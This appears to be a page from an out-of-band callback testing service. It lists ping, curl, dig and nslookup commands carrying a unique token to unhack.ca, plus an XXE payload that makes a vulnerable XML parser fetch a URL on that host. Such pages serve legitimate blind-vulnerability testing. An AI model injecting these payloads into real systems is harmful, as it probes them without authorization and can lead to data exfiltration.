$ ping -c1 -p 00820533d523fd9bf9f206568484ba00 unhack.ca
 
$ curl http://unhack.ca/p/820533d523fd9bf9f206568484ba
 
$ dig 820533d523fd9bf9f206568484ba @unhack.ca
 
$ dig 820533d523fd9bf9f206568484ba.ns.unhack.ca
 
C:\> nslookup 820533d523fd9bf9f206568484ba unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/820533d523fd9bf9f206568484ba">]>
    <foo>&xxe;</foo>
Waiting for ping...